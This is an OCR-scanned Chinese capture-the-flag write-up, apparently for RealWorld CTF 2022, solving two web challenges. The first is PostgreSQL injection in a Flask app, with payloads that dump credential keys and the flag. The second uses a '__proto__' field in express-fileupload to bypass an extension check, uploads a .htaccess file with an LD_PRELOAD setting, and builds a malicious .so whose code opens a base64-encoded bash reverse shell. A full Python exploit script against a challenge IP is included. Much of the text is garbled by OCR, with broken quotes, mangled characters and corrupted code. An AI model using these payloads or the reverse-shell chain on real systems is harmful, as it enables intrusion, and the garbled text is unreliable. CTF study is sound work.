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#!/usr/bin/env python3

import flask

import psycopg2

import datetime

import hashlib

from skynet import Skynet

app = flask.Flask(__name__, static_url_path="")
skynet = Skynet()

def skynet_detect():

req = {
'method’: flask.request.method,
'path': flask.request.full_path,
'host': flask.request.headers.get('host'),
‘content_type': flask.request.headers.get('content-type'),
'useragent': flask.request.headers.get('user-agent'),
'referer': flask.request.headers.get('referer'),
'cookie': flask.request.headers.get('cookie'),
'body': str(flask.request.get_data()),

}

_, result = skynet.classify(req)

return result and result['attack']

@app.route('/static/<path:path>")
def static_files(path):
return flask.send_from_directory('static', path)

@app.route('/"', methods=['GET', 'POST'])
def do_query():
if skynet_detect():
return flask.abort(403)

if not query_login_state():
response = flask.make_response('No login, redirecting', 302)
response.location = flask.escape('/login")
return response
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if flask.request.method == 'GET':
return flask.send_from_directory('', 'index.html')
elif flask.request.method == 'POST':
kt = query_kill time()
if kt:
result = kt
else:
result = "'
return flask.render_template('index.html', result=result)
else:

return flask.abort(400)

@app.route('/login', methods=["'GET', 'POST'])
def do_login():
if skynet_detect():
return flask.abort(403)

if flask.request.method == 'GET':
return flask.send_from_directory('static', 'login.html")
elif flask.request.method == 'POST':

if not query_login_attempt():
return flask.send_from_directory('static', 'login.html')

else:
session = create_session()
response = flask.make_response('Login success', 302)
response.set_cookie('SessionId', session)
response.location = flask.escape('/")
return response

else:
return flask.abort(400)

def query_login_state():
sid = flask.request.cookies.get('SessionId', '')
if not sid:
return False

now = datetime.datetime.now()
with psycopg2.connect(
host="challenge-db",
database="ctf",
user="ctf",
password="ctf") as conn:
cursor = conn.cursor()
cursor.execute("SELECT sessionid"
" FROM login_session"
" WHERE sessionid = %s"
" AND valid_since <= %s"
" AND valid_until >= %s"
""", (sid, now, now))
data = [r for r in cursor.fetchall()]
return bool(data)

def query_login_attempt():
username = flask.request.form.get('username', '")
password = flask.request.form.get('password', '")
if not username and not password:
return False



sql = ("SELECT id, account"
" FROM target_credentials™
" WHERE password = '{}'").format(hashlib.md5(password.encode()).hexdigest())
user = sql_exec(sql)
name = user[@][1] if user and user[@] and user[@][1] else "'
return name == username

def create_session():

valid_since = datetime.datetime.now()

valid_until = datetime.datetime.now() + datetime.timedelta(days=1)

sessionid =
hashlib.md5((str(valid_since)+str(valid_until)+str(datetime.datetime.now())).encode()).hexdigest()

sql_exec_update(("INSERT INTO login_session (sessionid, valid_since, valid_until)"
" VALUES ('{}', '"{}', "{}')").format(sessionid, valid_since, valid_until))
return sessionid

def query_kill time():
name = flask.request.form.get('name', '")
if not name:
return None

sql = ("SELECT name, born"

" FROM target"

" WHERE age > 0"

" AND name = '{}'").format(name)
nb = sql_exec(sql)
if not nb:

return None

return '{}: {}'.format(*nb[0@])

def sql_exec(stmt):
data = list()
try:
with psycopg2.connect(
host="challenge-db",
database="ctf",
user="ctf",
password="ctf") as conn:
cursor = conn.cursor()
cursor.execute(stmt)
for row in cursor.fetchall():
data.append([col for col in row])
cursor.close()
except Exception as e:
print(e)
return data

def sql_exec_update(stmt):
data = list()
try:
with psycopg2.connect(
host="challenge-db",
database="ctf",
user="ctf",
password="ctf") as conn:
cursor = conn.cursor()
cursor.execute(stmt)
conn.commit()
excent Exception as e:



print(e)
return data
if _name__ == "__main__":
app.run(host='0.0.0.0"', port=8080)

XA pythonfik 4528, —itEmiR/ogin -, FrbAseE logink ik hiZ % .
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@app.route('/login', methods=["'GET', 'POST'])
def do_login():
if skynet_detect():
return flask.abort(403)

if flask.request.method == 'GET':
return flask.send_from_directory('static', 'login.html')
elif flask.request.method == 'POST':

if not query_login_attempt():
return flask.send_from_directory('static', 'login.html')

else:
session = create_session()
response = flask.make_response('Login success', 302)
response.set_cookie('SessionId', session)
response.location = flask.escape('/")
return response

else:
return flask.abort(400)

BEREPOST HR U, XK EEquery login_attempti BT, RATREE—T:

def query_login_attempt():
username = flask.request.form.get('username', '")
password = flask.request.form.get('password', '")
if not username and not password:
return False

sql = ("SELECT id, account"
" FROM target_credentials"
" WHERE password = '{}'").format(hashlib.md5(password.encode()).hexdigest())
user = sql_exec(sql)
name = user[@][1] if user and user[@] and user[@][1] else

return name == username

XBEAH—AZERE, WmRusername = Mpassword A%, AT LLE usernamefiname#l s, W LLEE
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Request

Raw | Params | Headers | Hex

Target: http://A7.242.21.212:8081 | | 7

Response

Raw | Headers | Hex

POST /login HTTP/11

Host: 47.242.21.212:8081

Content-Length: 23

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://47.242.21.212:8081

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64)
AppleWebKit/537.36 (KHTML, like 6ecko) Chrome/97.0.4692.99
Safari/537.36 Edg/97.0.1072.69

Accept:

text /himl application/xhtml+xml application/xml:q=0.9 image/webp,im
age/apng.*/*:q=0.8 application/signed-exchange:v=b3.q=0.9
Referer: http://47.242.21.212:8081/login

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh:q=0.9,en:q=0.8,en-6B:q=0.7 en-US5:q=0.6
Connection: close

username=&password=yink

BT REFZZRT/, B T¥HEB:

@app.route('/"', methods=["'GET', 'POST'])
def do_query():
if skynet_detect():
return flask.abort(403)

if not query_login_state():

e

HTTP/1.0 302 FOUND

Content-Type: text/html: charset=utf-8

Content-Length: 13

Set-Cookie: SessionId=7b4dc102b56d03d308c00ce0f48360b1; Path=/
Location: http://47.242.21.212:8081/

Server: Werkzeug/0.16.1 Python/3.8.10

Date: Sat, 29 Jan 2022 07:29:32 GMT

Login success|

response = flask.make_response('No login, redirecting', 302)

response.location = flask.escape('/login")

return response

if flask.request.method == 'GET':
return flask.send_from_directory('',
elif flask.request.method == 'POST':
kt = query_kill time()
if kt:
result = kt
else:
result = "'

"index.html")

return flask.render_template('index.html', result=result)

else:
return flask.abort(400)

WH T query kill_timemi%k, 2k4:%F
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def query_kill_time():
name = flask.request.form.get('name', "'')
if not name:
return None

sql = ("SELECT name, born"

FROM target"

WHERE age > 0"

AND name = '{}'").format(name)
nb = sql_exec(sql)
if not nb:
return None

return '{}: {}'.format(*nb[0])

nameS M AW PHBESQLIEAS, SRLEE, WIUEH THRRESQLENT .
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import psycopg2

LR, X~&PostgreSQLKI—ANE, iBXESMYSQLEH —AMH, HinstFoffsetif#
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BRI EA:

11111";select 1,schema_name from information_schema.schemata offset '0

(offsetill &5l 5, FHBEAFWBATLL, 25 5kRENER)D

BIEFEL: pg_catalog, public, information_schema

BRA:

11111";select 1,table_name from information_schema.tables where table schema="public' offset '0
# 4. target, target credentials, login_session

login_sessionZ AR K& F*E), R /Eflagfttarget_credentials B [

&5)4: 11111'select 1,column_name from information_schema.columns where
table_name='"target_credentials' offset '0

%4 id, account, password, access_key, secret key
B R BRI Raccess_keyflsecret_key, &—F
11111";select access_key,secret_key from target_credentials offset '0

Z3flag


https://www.cnblogs.com/backlion/p/9721687.html

Request

Raw | Params | Headers | Hex

Response

Raw | Headers | Hex HTMLTRender]

POST / HTTP/11

Host: 47.242.21.212:8081

Content-Length: 74

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://47.242.21.212:8081

Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99
Safari/537.36 Edg/97.0.1072.69

Accept:

text /html application/xhtml+xml application/xml:q=0.9 image /webp image/apng,

*/*:q=0.8 application/signed-exchange:v=b3:q=0.9

Referer: http://47.242.21.212:8081/

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh:q=0.9,en:q=0.8.en-6B.q=0.7 en-US5:q=0.6
Cookie: SessionId=db6ed81d619ec8be20e18eded43fbféa
Connection: close

name=11111":select access_key secret_key from target_credentials offset '0|

RWDN

T

HTTP/1.0 200 OK

Content-Type: text /html; charset=utf-8
Content-Length: 348

Server: Werkzeug/0.16.1 Python/3.8.10
Date: Sat, 29 Jan 2022 08:52:16 GMT

<IDOCTYPE html»

<ead>
<ink rel="stylesheet" href="static/style.css">
<meta name="viewport" content="width=device-width, initial-scale=1" />
<itle>Skynet Target List</title>

</head>

<body>

«div class="query">

41:Kill before</hl>

h1>$kynet:
rwetf{+0- hdck-$kynet - Or- flask_that-Is-+h3-questiOn}</hl>

</div>
</body>
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const express = require('express');

const fileUpload = require('express-fileupload');
const md5 = require('md5"');

const { v4: uuidv4 } = require('uuid');

const check = require('./check');

const app = express();

const PORT = 8000;

app.set('views', __dirname + '/views');
app.set('view engine', 'ejs');

app.use(fileUpload({
useTempFiles : true,
tempFileDir : '/tmp/',
createParentPath : true

M)
app.use('/upload',check());

app.get('/source', function(req, res) {
if (req.query.checkin){
res.sendfile('/src/check.js');
}

res.sendfile('/src/server.js');

1)

app.get('/', function(req, res) {
var formid = "form-" + uuidv4();
res.render('index', {formid : formid} );

1)

app.post('/upload', function(req, res) {
let sampleFile;
let uploadPath;
let userdir;
let userfile;
sampleFile = req.files[req.query.formid];
userdir = md5(md5(req.socket.remoteAddress) + sampleFile.md5);
userfile = sampleFile.name.toString();
if(userfile.includes('/')||userfile.includes('..")){
return res.status(500).send("Invalid file name");
}
uploadPath = '/uploads/' + userdir + '/' + userfile;
sampleFile.mv(uploadPath, function(err) {
if (err) {
return res.status(500).send(err);

}

res.send('File uploaded to http://47.243.75.225:31338/"' + userdir + '/'

s
s

app.listen(PORT, function() {
console.log('Express server listening on port ', PORT);

s

XKggfE/upload, A5 N T check, XEHERANIE — FIELERKZHE

+ userfile);



app.get('/source', function(req, res) {
if (req.query.checkin){
res.sendfile('/src/check.js"');

}

res.sendfile('/src/server.js');

s

WYL, FATWEMN Echeckins ¥, #tAT LAFE #check.js

module.exports = () => {
return (req, res, next) => {

if ( !req.query.formid || !req.files || Object.keys(req.files).length === @) {
res.status(400).send('Something error."');
return;

}

Object.keys(req.files).forEach(function(key){
var filename = req.files[key].name.toLowerCase();
var position = filename.lastIndexOf('."');
if (position == -1) {
return next();

}

var ext = filename.substr(position);
var allowexts = ['.jpg'," ' .png',"'.jpeg', "' .html","
if ( lallowexts.includes(ext) ){

res.status(400).send('Something error."');

.js',".xhtml", ' .txt"', " '.realworld'];

return;
}
return next();
3
s
s

HA RN, TEES. HEXBEFMERER OREE Twpil X2 3ERH..O
BATERE — T LRS-

app.post('/upload', function(req, res) {
let sampleFile;
let uploadPath;
let userdir;
let userfile;
sampleFile = req.files[req.query.formid];
userdir = md5(md5(req.socket.remoteAddress) + sampleFile.md5);
userfile = sampleFile.name.toString();

if(userfile.includes('/')||userfile.includes('..")){
return res.status(500).send("Invalid file name");

}

uploadPath = '/uploads/' + userdir + '/' + userfile;

sampleFile.mv(uploadPath, function(err) {
if (err) {
return res.status(500).send(err);
}
res.send('File uploaded to http://47.243.75.225:31338/"' + userdir + '/' + userfile);
1
1



EARE SR — AN SO R Hiformid S BRI E R 1, ER, REHAT EAARIE AR BRI RKRREK, it
P, FEREI I SO A BIE EAR RSO R T A —HEH), TR MRS S e T~

I8, HTREKNESARBITE key, BEHESRE, HRBRMKXMFOSE LAERTHT !
HEH—NEE, RERSSB EARETERE. XA EESBMRE R, RINE—T EEREKAND:

userdir = md5(md5(req.socket.remoteAddress) + sampleFile.md5);

S5REIPHAEIEH XA N AR K. DRIRA URATE LR, ERERBNINER L LA —ANEFRXH, NES
PR EALEISCEAE R, EBIBRARRAT T -

XEE, B-PREMR T, R .
4%, U BRAREE.

BAIEIE, fEjsEMH, _ proto  RIBAFERKI—ANFEE, 7EF1250bject keysiIEt %, BT _ proto &M AE
%, FiAA & Object.keys 25 ik, HmtRdi,  proto  FIEE R SHIAE.

KT httpiE KR i) EAL SO 51, HRR—FREX (keyf:(CUHE,XHNE)) » XA keyR AT LAE E X
H, —BiXAkeyZHAEE, HEFMLIAE. HEAXE, dTREAMT Objectkeys, BrLAEAIHEILIA]
18 BRI keysE XO9__proto_, 1:

files = {
' _proto__': (".htaccess", open(".htaccess", "rb")), # _ proto_ A&#iHpikeysH
}

RS TR, ERBEAIEE A ERBAILALR SN ?

I8 R IR [B] 45 7] UAE B R Express, <R RN EMIBEExpress2/E A A FAE K. MEANEF—TF
Expressiifis B 2 &4 Xfreq.files#t ATt 1 o

XS express-fileupload/processMultipart.js at e8d9b671842ee4bf0fe3f85ed988ce7e4e1b7aab -
richardgirges/express-fileupload (github.com)

req.files = buildFields(req.files, field, fileFactory({
buffer: complete(),
name: filename,
tempFilePath: getFilePath(),
hash: getHash(),
size,
encoding,
truncated: file.truncated,
mimetype: mime
}, options));

if (!req[waitFlushProperty]) {
req[waitFlushProperty] = [1;

}

req[waitFlushProperty].push(writePromise);

});//BiE2, fileFactoryiX—HERtRIX N key 24 F 284 SO

req.filesR7EX — B P ER T KIEKME, MEATMESFbuildFields s #

express-fileupload/utilities.js at master - richardgirges/express-fileupload (github.com)


https://github.com/richardgirges/express-fileupload/blob/e8d9b671842ee4bf0fe3f85ed988ce7e4e1b7aa5/lib/processMultipart.js#L116
https://github.com/richardgirges/express-fileupload/blob/master/lib/utilities.js#L92

|| i2ERF 5% JavaScriptH &&5 || CRRATEAWA/RE L) - SegmentFault BE

instanceof 1S %JS HE At | #lE typeof Al instanceof - Jartto's blog

/**
* Builds request fields (using to build req.body and req.files)
* @param {Object} instance - request object. HAireq.files
* @param {string} field - field name. key
* @param {any} value - field value. value
* @returns {Object}
*/
const buildFields = (instance, field, value) => {
// Do nothing if value is not set.
if (value === null || value === undefined) return instance;
instance = instance || Object.create(null); //HSZiXEHObject.create(null)iiR{}, EEE FTRKExpressHHFIX
—HAJRinstance = instance || {};ERBRinstanceFATENRME R {}

if (!isSafeFromPollution(instance, field)) {
return instance;

}
// Non-array fields

//instanceit ¥ H field/@ M2 Al

if (!instance[field]) {
instance[field] = value;
return instance;

}
// Array fields

//instanceof HWiaI — M SHRENE — NS LH)
/)X B EFI W instance[ field | R £Array iS4
if (instance[field] instanceof Array) {
instance[field].push(value); //fEE, SMEHRE
} else {
instance[field] = [instance[field], valuel; //WMEFRE, BAZHArray
}

return instance;

s

ST — TURRS, RATKIL, MkeylER&_ proto  WIEHE, BIFREEEWIE, instance proto  |HIEHAFTE,
I H M iZ 2 ObjectZR R RNt R . BARIXARArrayRIs26], FrLL&hiTinstance[field] = [instance[field)],
value];iXx—4].

Frbh, BA_ proto  AkeyHISCHERT LA EAE, BN T Arrayi)—EB4y, ArrayiX FhagE Xt BRI R R BRIE 61 B Akey
18, BrCARRAIAE AR SO B key 21, W] LLiiidreq.files[15R15 1, H 7% ZEformid=1817].

o3 E— TR TR T7 %
HEEExpress: ff FlExpressi @ik %5#%-F1 B = FF &K F 4 X (aliyun.com)

index.js:


https://segmentfault.com/q/1010000004265392
http://jartto.wang/2019/01/17/js-typeof/
https://developer.aliyun.com/article/621263

var express = require('express');

var app = express();

var fileupload = require('express-fileupload');
app.use(fileupload());//

/* GET home page. */
app.get('/', function(req, res, next) {
res.render('index', { title: 'Express' });

1

app.post('/upload', function(req, res) {
console.log("files:");
console.log(req.files);
console.log("files[@]:");
console.log(req.files[0@]);
console.log("files[1]:");
console.log(req.files[1]);

1)

module.exports = app;

utilities.js:

/*start point:line 79*/

const buildFields = (instance, field, value) => {
console.log("instance:");
console.log(instance);
//console.log("instance.__proto__:");
//console.log(instance.__proto_ );
console.log("field:");
console.log(field);
console.log("value:");
console.log(value);
//console.log(instance[field])

// Do nothing if value is not set.

if (value === null || value === undefined) return instance;

instance = instance || {};

// Non-array fields

if (!instance[field]) {
console.log("!instance[field]");
instance[field] = value;
return instance;

}

// Array fields

if (instance[field] instanceof Array) {
console.log("instance[field] instanceof Array");
instance[field].push(value);

} else {
console.log("else");
console.log(instance[field]);
instance[field] = [instance[field], value];

}

return instance;

s

console.logf 45 R BnEEH & B, wmEEHEAREFEEEnpm,
Hctrl-c, ctrl-z, ctrl-d X 5 #E&/NH-CSDNE %

B HEctl+CAIRIBH, S%Linux


https://blog.csdn.net/mylizh/article/details/38385739

pythonij ] i 4= :
import requests
url="http://localhost:3000/upload’
files={
' _proto__': (".htaccess", open(".htaccess", "rb")),

'a't ("1.txt", open(".htaccess", "rb")),

}

r=requests.post(url=url,files=files)

B—BEEXH BTN, RS SEAFNphp, BTLE & b A% htaccessiE AT AE B 0L

ErrorDocument 404 %{file:/etc/passwd}

MACE S 2 INA044E 1R 213 Bl /etc/passwdlE g B T, AT SEIAE & SO
REH EREERIRMRE XM, XBERApache, FrblitApachefIit B X, /etc/apache2/apache2.conf

7 B & BLExtFilterDefine 7f39f8317fgzip mode=output cmd=/bin/gzip, &= B RATINR % B T 7f39f8317fgzip
XA output filter, 2 J5 apache 7E3R B T 1%, < H/bin/gzip/tn4, A TFIRE T —NF#E, L
4 SetEnvix ELD PRELOADMIMRCE (ZH % Nk HLD PRELOAD & putenv() - #4&%, #&%HilFE
(anquanke.com))

.htaccess:

SetEnv LD_PRELOAD "/var/www/html/hacker.so"
SetOutputFilter 7f39f8317fgzip

hacker.c:

#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD"); //A4RJEHEPAT H Aty S BB XA M, FEATLIER
system("echo YmFzaCAtaSA+JiAvZGV2L3RjcC9pcCOwb3I@IDA+IjE=|base64 -d|bash");//KR#shell

%% %18 Fhacker.so:

gcc -c -fPIC hacker.c -o hacker && gcc --share hacker -o hacker.so

LtAEhacker.so, F i HirX ¥, Bin] x3shell


https://www.anquanke.com/post/id/175403#h2-4

import requests,sys

url = "http://47.243.75.225:31337"
so_name = "hacker.so"

so_content = open("hacker.so","rb").read() #—EZElread() T REBENE, FRBMEA XL

def upload(name, content):
u = requests.post(url + "/upload", params={

"formid": "theFirstOne"
}, files={

"theFirstOne": ("1.jpg", content),
}).text

resp = requests.post(url + "/upload", params={
"formid": "Payload"

}, files={
"theFirstOne": ("1.jpg", content), # EA&EE&HEMICIERSIEcheck
"Payload": (name, content), #&Z3fh bA&EJMBE XM

}).text

return u.replace("1.jpg", "")
so_path = '/var/www/html'+upload(so_name, so_content).replace("File uploaded to ","")[26:]+so_name
print(so_path)
name = '.htaccess'
content = """
SetEnv LD_PRELOAD """+so_path+"""
SetOutputFilter 7f39f8317fgzip
url = upload(name, content).replace("File uploaded to ","")
r = requests.get(url=url)
if(r.status_code==500):
pass
else:
print(r.text)
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